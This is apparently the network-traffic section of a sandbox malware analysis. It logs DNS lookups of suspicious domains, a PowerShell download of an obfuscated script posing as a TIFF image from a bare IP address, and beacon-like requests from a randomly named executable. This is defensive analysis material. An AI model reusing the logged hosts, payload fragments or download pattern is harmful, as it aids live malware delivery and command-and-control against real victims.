Dec 13, 2024 07:39:48.397506952 CET	80	49890	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:48.397653103 CET	80	49890	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:48.397722960 CET	49890	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:48.795614004 CET	49890	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:49.814575911 CET	49896	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:49.934376955 CET	80	49896	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:49.934487104 CET	49896	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:49.947902918 CET	49896	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:50.067631960 CET	80	49896	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:51.451838970 CET	49896	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:51.572314024 CET	80	49896	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:51.572477102 CET	49896	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:52.470784903 CET	49906	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:52.590871096 CET	80	49906	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:52.590966940 CET	49906	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:52.603598118 CET	49906	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:52.723611116 CET	80	49906	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:52.723649979 CET	80	49906	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:53.685857058 CET	80	49906	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:53.685945988 CET	80	49906	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:53.686100006 CET	49906	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:54.108102083 CET	49906	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:55.131577015 CET	49913	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:55.251607895 CET	80	49913	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:55.251816034 CET	49913	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:55.259304047 CET	49913	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:55.379350901 CET	80	49913	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:56.474744081 CET	80	49913	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:56.474761009 CET	80	49913	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:56.474962950 CET	49913	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:56.478720903 CET	49913	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:56.598424911 CET	80	49913	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:02.016571999 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:02.136627913 CET	80	49929	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:02.136807919 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:02.148339987 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:02.268364906 CET	80	49929	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:03.655138969 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:03.706986904 CET	80	49929	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:03.707034111 CET	80	49929	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:03.707051992 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:03.707077026 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:03.775434971 CET	80	49929	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:03.775500059 CET	49929	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:04.675050974 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:04.795089960 CET	80	49935	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:04.795181036 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:04.806735039 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:04.926636934 CET	80	49935	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:06.311331034 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:06.358848095 CET	80	49935	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:06.358978033 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:06.359471083 CET	80	49935	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:06.359550953 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:06.431206942 CET	80	49935	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:06.431344986 CET	49935	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:07.331188917 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:07.451145887 CET	80	49941	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:07.451270103 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:07.466797113 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:07.587008953 CET	80	49941	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:07.587045908 CET	80	49941	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:08.983057976 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:09.012448072 CET	80	49941	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:09.012533903 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:09.036493063 CET	80	49941	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:09.036562920 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:09.231776953 CET	80	49941	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:09.231990099 CET	49941	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:10.004806995 CET	49948	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:10.124732018 CET	80	49948	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:10.124836922 CET	49948	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:10.132858038 CET	49948	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:10.252718925 CET	80	49948	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:11.731481075 CET	80	49948	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:11.731528044 CET	80	49948	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:11.731625080 CET	49948	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:11.732398987 CET	80	49948	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:11.732455969 CET	49948	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:11.733875036 CET	49948	80	192.168.2.5	104.21.31.249
Dec 13, 2024 07:40:11.853749990 CET	80	49948	104.21.31.249	192.168.2.5
Dec 13, 2024 07:40:17.411499023 CET	49968	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:17.531374931 CET	80	49968	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:17.531487942 CET	49968	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:17.543972015 CET	49968	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:17.664894104 CET	80	49968	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:18.629951954 CET	80	49968	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:18.630001068 CET	80	49968	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:18.630100012 CET	49968	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:19.046226025 CET	49968	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:20.533257008 CET	49974	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:20.653048992 CET	80	49974	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:20.653146982 CET	49974	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:20.664747953 CET	49974	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:20.784445047 CET	80	49974	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:21.748002052 CET	80	49974	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:21.748055935 CET	80	49974	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:21.748109102 CET	49974	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:22.170598030 CET	49974	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:23.189970016 CET	49981	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:23.309811115 CET	80	49981	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:23.310169935 CET	49981	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:23.323513985 CET	49981	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:23.443205118 CET	80	49981	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:23.443331003 CET	80	49981	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:24.412647009 CET	80	49981	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:24.412800074 CET	80	49981	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:24.413011074 CET	49981	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:24.826944113 CET	49981	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:25.849486113 CET	49991	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:25.969439030 CET	80	49991	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:25.969638109 CET	49991	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:25.976988077 CET	49991	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:40:26.097125053 CET	80	49991	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:27.067378044 CET	80	49991	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:27.067451954 CET	80	49991	3.33.130.190	192.168.2.5
Dec 13, 2024 07:40:27.067868948 CET	49991	80	192.168.2.5	3.33.130.190

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 07:38:27.721833944 CET	50853	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:38:27.859926939 CET	53	50853	1.1.1.1	192.168.2.5
Dec 13, 2024 07:38:48.226078033 CET	57239	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:38:48.364003897 CET	53	57239	1.1.1.1	192.168.2.5
Dec 13, 2024 07:39:13.486107111 CET	56041	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:39:14.112807035 CET	53	56041	1.1.1.1	192.168.2.5
Dec 13, 2024 07:39:31.565248013 CET	50574	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:39:32.143304110 CET	53	50574	1.1.1.1	192.168.2.5
Dec 13, 2024 07:39:46.519654989 CET	63806	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:39:47.145376921 CET	53	63806	1.1.1.1	192.168.2.5
Dec 13, 2024 07:40:01.487720013 CET	57177	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:40:02.013667107 CET	53	57177	1.1.1.1	192.168.2.5
Dec 13, 2024 07:40:16.754962921 CET	54192	53	192.168.2.5	1.1.1.1
Dec 13, 2024 07:40:17.408426046 CET	53	54192	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 07:38:27.721833944 CET	192.168.2.5	1.1.1.1	0xfaec	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:38:48.226078033 CET	192.168.2.5	1.1.1.1	0xfba3	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:13.486107111 CET	192.168.2.5	1.1.1.1	0xcd0b	Standard query (0)	www.inastra.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:31.565248013 CET	192.168.2.5	1.1.1.1	0x232d	Standard query (0)	www.ortenckt.online	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:46.519654989 CET	192.168.2.5	1.1.1.1	0xa005	Standard query (0)	www.ks1x7i.vip	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:40:01.487720013 CET	192.168.2.5	1.1.1.1	0x9ef7	Standard query (0)	www.aaavvejibej.bond	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:40:16.754962921 CET	192.168.2.5	1.1.1.1	0x7ce1	Standard query (0)	www.deikamalaharris.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 07:38:27.859926939 CET	1.1.1.1	192.168.2.5	0xfaec	No error (0)	res.cloudinary.com	cloudinary.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 07:38:27.859926939 CET	1.1.1.1	192.168.2.5	0xfaec	No error (0)	cloudinary.map.fastly.net		151.101.1.137	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:38:27.859926939 CET	1.1.1.1	192.168.2.5	0xfaec	No error (0)	cloudinary.map.fastly.net		151.101.193.137	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:38:27.859926939 CET	1.1.1.1	192.168.2.5	0xfaec	No error (0)	cloudinary.map.fastly.net		151.101.129.137	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:38:27.859926939 CET	1.1.1.1	192.168.2.5	0xfaec	No error (0)	cloudinary.map.fastly.net		151.101.65.137	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:38:48.364003897 CET	1.1.1.1	192.168.2.5	0xfba3	No error (0)	paste.ee		172.67.187.200	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:38:48.364003897 CET	1.1.1.1	192.168.2.5	0xfba3	No error (0)	paste.ee		104.21.84.67	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:14.112807035 CET	1.1.1.1	192.168.2.5	0xcd0b	No error (0)	www.inastra.online		208.91.197.27	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:32.143304110 CET	1.1.1.1	192.168.2.5	0x232d	No error (0)	www.ortenckt.online	ortenckt.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 07:39:32.143304110 CET	1.1.1.1	192.168.2.5	0x232d	No error (0)	ortenckt.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:32.143304110 CET	1.1.1.1	192.168.2.5	0x232d	No error (0)	ortenckt.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:47.145376921 CET	1.1.1.1	192.168.2.5	0xa005	No error (0)	www.ks1x7i.vip	ks1x7i.vip		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 07:39:47.145376921 CET	1.1.1.1	192.168.2.5	0xa005	No error (0)	ks1x7i.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:39:47.145376921 CET	1.1.1.1	192.168.2.5	0xa005	No error (0)	ks1x7i.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:40:02.013667107 CET	1.1.1.1	192.168.2.5	0x9ef7	No error (0)	www.aaavvejibej.bond		104.21.31.249	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:40:02.013667107 CET	1.1.1.1	192.168.2.5	0x9ef7	No error (0)	www.aaavvejibej.bond		172.67.181.150	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:40:17.408426046 CET	1.1.1.1	192.168.2.5	0x7ce1	No error (0)	www.deikamalaharris.info	deikamalaharris.info		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 07:40:17.408426046 CET	1.1.1.1	192.168.2.5	0x7ce1	No error (0)	deikamalaharris.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 13, 2024 07:40:17.408426046 CET	1.1.1.1	192.168.2.5	0x7ce1	No error (0)	deikamalaharris.info		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

res.cloudinary.com

paste.ee

107.172.44.175

www.inastra.online

www.ortenckt.online

www.ks1x7i.vip

www.aaavvejibej.bond

www.deikamalaharris.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	107.172.44.175	80	5144	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:38:21.715785980 CET	325	OUT	GET /73/simplecookiebiscutwithsweetnessforentiretime.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 107.172.44.175 Connection: Keep-Alive
Dec 13, 2024 07:38:22.832647085 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 06:38:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 12 Dec 2024 09:11:54 GMT ETag: "25ac8-6290f1af9d279" Accept-Ranges: bytes Content-Length: 154312 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 4c 00 4c 00 4b 00 71 00 7a 00 69 00 69 00 66 00 69 00 55 00 47 00 57 00 69 00 73 00 4b 00 20 00 3d 00 20 00 22 00 67 00 63 00 75 00 4e 00 70 00 61 00 70 00 70 00 69 00 71 00 66 00 7a 00 6c 00 78 00 6e 00 22 00 0d 00 0a 00 50 00 68 00 55 00 6d 00 66 00 68 00 4e 00 6a 00 53 00 68 00 70 00 76 00 57 00 6b 00 6d 00 20 00 3d 00 20 00 22 00 61 00 4b 00 66 00 4b 00 66 00 68 00 69 00 5a 00 4f 00 74 00 6e 00 70 00 70 00 61 00 5a 00 22 00 0d 00 0a 00 47 00 4c 00 75 00 4b 00 53 00 47 00 69 00 78 00 63 00 63 00 57 00 4b 00 55 00 51 00 57 00 20 00 3d 00 20 00 22 00 57 00 63 00 68 00 50 00 7a 00 65 00 4b 00 73 00 50 00 4c 00 69 00 5a 00 4b 00 68 00 4e 00 22 00 0d 00 0a 00 0d 00 0a 00 57 00 4c 00 54 00 43 00 57 00 64 00 55 00 70 00 55 00 47 00 4e 00 4b 00 57 00 68 00 75 00 20 00 3d 00 20 00 22 00 55 00 65 00 57 00 4c 00 7a 00 52 00 6a 00 75 00 4b 00 4c 00 61 00 6e 00 41 00 75 00 69 00 22 00 0d 00 0a 00 57 00 78 00 47 00 6e 00 65 00 57 00 5a 00 52 00 55 00 41 00 [TRUNCATED] Data Ascii: LLKqziifiUGWisK = "gcuNpappiqfzlxn"PhUmfhNjShpvWkm = "aKfKfhiZOtnppaZ"GLuKSGixccWKUQW = "WchPzeKsPLiZKhN"WLTCWdUpUGNKWhu = "UeWLzRjuKLanAui"WxGneWZRUAWkKfW = "LtpNLZkChNdiqWi"kLmcWJKGJcLkPbv = "zAfWeNoKIdWkfRK"ALecPePuceseWaN = "dZjAsufKNosKioi"GeilzcBNqrzSeqd = "ioKWrLPvmqoLjHz"nhdWSGczPWWlicW = "gkLauKWmWfkgvuL"AxGeAjeWfPKbAmp = "WnGWWKKoKKxKiIz"bLLhiKkgoKbboIb = "jGWeIKNnpJmKhUL"AGPSUifWmLooLKn = "GkLZAzUGxeUUvLN"NmGgpi
Dec 13, 2024 07:38:22.832678080 CET	224	IN	Data Raw: 00 4b 00 68 00 57 00 4e 00 42 00 41 00 5a 00 68 00 63 00 20 00 3d 00 20 00 22 00 71 00 43 00 71 00 47 00 6f 00 6f 00 63 00 4f 00 6e 00 65 00 4c 00 4c 00 70 00 68 00 57 00 22 00 0d 00 0a 00 6c 00 4b 00 53 00 4c 00 57 00 66 00 4c 00 57 00 6b 00 57 Data Ascii: KhWNBAZhc = "qCqGoocOneLLphW"lKSLWfLWkWjKiiq = "WqzLclWKClpKimv"ALGWJbLbKKZGGGb = "mZtCuLWRfNhCWmB"obaZv
Dec 13, 2024 07:38:22.832767963 CET	1236	IN	Data Raw: 00 47 00 74 00 4c 00 4c 00 54 00 50 00 69 00 66 00 55 00 6b 00 20 00 3d 00 20 00 22 00 47 00 6f 00 5a 00 43 00 4c 00 67 00 6e 00 42 00 69 00 57 00 6f 00 4b 00 6e 00 73 00 75 00 22 00 0d 00 0a 00 6c 00 63 00 4c 00 63 00 4b 00 75 00 63 00 6c 00 75 Data Ascii: GtLLTPifUk = "GoZCLgnBiWoKnsu"lcLcKucluboWKAb = "KeuoWGpbppUbqbh"UtsNUsKzPJiNkWa = "LGWWicGkLzZKKLf"dTpfLkWaWctqzce
Dec 13, 2024 07:38:22.832835913 CET	1236	IN	Data Raw: 00 4c 00 65 00 52 00 47 00 57 00 22 00 0d 00 0a 00 4c 00 75 00 69 00 4c 00 69 00 50 00 57 00 4b 00 41 00 57 00 6d 00 50 00 4b 00 6b 00 4e 00 20 00 3d 00 20 00 22 00 6d 00 5a 00 6b 00 4b 00 47 00 65 00 43 00 41 00 71 00 75 00 51 00 6f 00 6a 00 4b Data Ascii: LeRGW"LuiLiPWKAWmPKkN = "mZkKGeCAquQojKL"WTiixTixLucPhdW = "icNoBUzpPmBZhWg"UmnuBWWIaIxLnpS = "irWWLGLKbWOLzRi"
Dec 13, 2024 07:38:22.832853079 CET	448	IN	Data Raw: 00 70 00 20 00 3d 00 20 00 22 00 69 00 4e 00 65 00 69 00 4f 00 6e 00 4f 00 4e 00 6b 00 57 00 7a 00 68 00 66 00 4c 00 4c 00 22 00 0d 00 0a 00 63 00 5a 00 43 00 63 00 51 00 69 00 63 00 4e 00 41 00 4c 00 41 00 6d 00 66 00 57 00 69 00 20 00 3d 00 20 Data Ascii: p = "iNeiOnONkWzhfLL"cZCcQicNALAmfWi = "OvokLcZbZauUoLm"ZNcGfmIUimAtNan = "BtfgkWbOcTkpefb"LcWzGdczLcKBtdi = "KAxhW
Dec 13, 2024 07:38:22.832926035 CET	1236	IN	Data Raw: 00 55 00 20 00 3d 00 20 00 22 00 6f 00 4f 00 6c 00 6c 00 6b 00 6f 00 55 00 48 00 4b 00 6d 00 76 00 69 00 48 00 4c 00 50 00 22 00 0d 00 0a 00 5a 00 5a 00 5a 00 63 00 6b 00 4c 00 6f 00 55 00 47 00 6c 00 68 00 4b 00 7a 00 57 00 69 00 20 00 3d 00 20 Data Ascii: U = "oOllkoUHKmviHLP"ZZZckLoUGlhKzWi = "UpdHtietoGkURLe"mmCOGfqZqGPmHLh = "soKbJkcLbeLQjBe"LihmhLAZSLWtQcW = "GceoL
Dec 13, 2024 07:38:22.832942009 CET	1236	IN	Data Raw: 00 4c 00 41 00 6d 00 52 00 6f 00 55 00 62 00 4b 00 48 00 62 00 6b 00 6d 00 6f 00 69 00 20 00 3d 00 20 00 22 00 52 00 65 00 57 00 43 00 62 00 47 00 63 00 5a 00 5a 00 41 00 50 00 57 00 57 00 65 00 4a 00 22 00 0d 00 0a 00 55 00 57 00 57 00 69 00 47 Data Ascii: LAmRoUbKHbkmoi = "ReWCbGcZZAPWWeJ"UWWiGmAcWclLWfa = "zLKpKLixPtpRWOt"bBHiBCNZnKZxKfW = "BGepnKUNbeWkqar"hmLtzxLmm
Dec 13, 2024 07:38:22.833111048 CET	1236	IN	Data Raw: 00 4b 00 66 00 55 00 4e 00 42 00 53 00 4b 00 6f 00 4c 00 66 00 57 00 22 00 0d 00 0a 00 65 00 4c 00 51 00 6f 00 41 00 42 00 57 00 57 00 42 00 4e 00 6b 00 50 00 43 00 66 00 55 00 20 00 3d 00 20 00 22 00 6c 00 78 00 64 00 64 00 57 00 6c 00 69 00 6f Data Ascii: KfUNBSKoLfW"eLQoABWWBNkPCfU = "lxddWlioUtiGQUW"SeoOLcNWcLetPGU = "nGHGeWifznWLAfG"zLGAGOPozKcWOWt = "UqgPhKaHKiLdzt
Dec 13, 2024 07:38:22.833127975 CET	1236	IN	Data Raw: 00 48 00 57 00 4c 00 68 00 63 00 6c 00 6a 00 20 00 3d 00 20 00 22 00 72 00 63 00 6c 00 57 00 57 00 57 00 7a 00 68 00 65 00 4c 00 49 00 47 00 57 00 47 00 7a 00 22 00 0d 00 0a 00 50 00 7a 00 7a 00 6d 00 69 00 4f 00 4c 00 66 00 63 00 4e 00 50 00 65 Data Ascii: HWLhclj = "rclWWWzheLIGWGz"PzzmiOLfcNPekNl = "kWGtkklHGhciWKf"eWphpLPlChcBRWW = "UedWnKKziiLAoSb"GopUfkgobRfHiGd =
Dec 13, 2024 07:38:22.833142996 CET	328	IN	Data Raw: 00 66 00 69 00 22 00 0d 00 0a 00 7a 00 57 00 47 00 5a 00 42 00 66 00 6f 00 6f 00 61 00 75 00 50 00 5a 00 47 00 61 00 42 00 20 00 3d 00 20 00 22 00 6f 00 48 00 75 00 75 00 42 00 63 00 52 00 4f 00 61 00 47 00 6b 00 57 00 57 00 4c 00 67 00 22 00 0d Data Ascii: fi"zWGZBfooauPZGaB = "oHuuBcROaGkWWLg"CAziPxGWGLtitKp = "CatlcjWmhhBLmok"uiotozufcAPqotK = "tnuKNLSjcWCKUkW"AhN
Dec 13, 2024 07:38:22.952764034 CET	1236	IN	Data Raw: 00 76 00 55 00 68 00 4c 00 70 00 57 00 20 00 3d 00 20 00 22 00 4e 00 71 00 76 00 4b 00 4f 00 4e 00 6a 00 63 00 6d 00 65 00 48 00 50 00 4c 00 6d 00 49 00 22 00 0d 00 0a 00 47 00 62 00 4c 00 68 00 66 00 57 00 55 00 50 00 72 00 55 00 57 00 71 00 57 Data Ascii: vUhLpW = "NqvKONjcmeHPLmI"GbLhfWUPrUWqWzU = "KecOzBKoKmCBTcW"pdifWGoOcaicLnA = "pGebbCLCblfWWcW"URWILquGoGioROn = "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49815	208.91.197.27	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:14.247683048 CET	550	OUT	GET /gbk4/?Vp=Xcz/lKtmYzaclw33ohiXS7QV/Se8Pq+n4C+TPx5KwIQWTY7xXXdhlW/5Nf4u3/jcsrURWrDv59TKoDO7PIpnz5UCXQYozh5iQIbWyk5+2KhSIu7LA9XzMojd0zRss0nm4A==&4j6=34T0Mpup0HM HTTP/1.1 Host: www.inastra.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 13, 2024 07:39:16.122776031 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 06:39:15 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=912vr481617555353594468; expires=Wed, 12-Dec-2029 06:39:15 GMT; Max-Age=157680000; path=/; domain=www.inastra.online; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_EjkMRRqXTcJqbq4LuUZSVlsaVWFbZ0ivCK1xh+prkcOjG6LUMIyZTgonUJ+UnGEM5weeahcYrbimCJ0Xqp3L+A== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 62 38 37 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 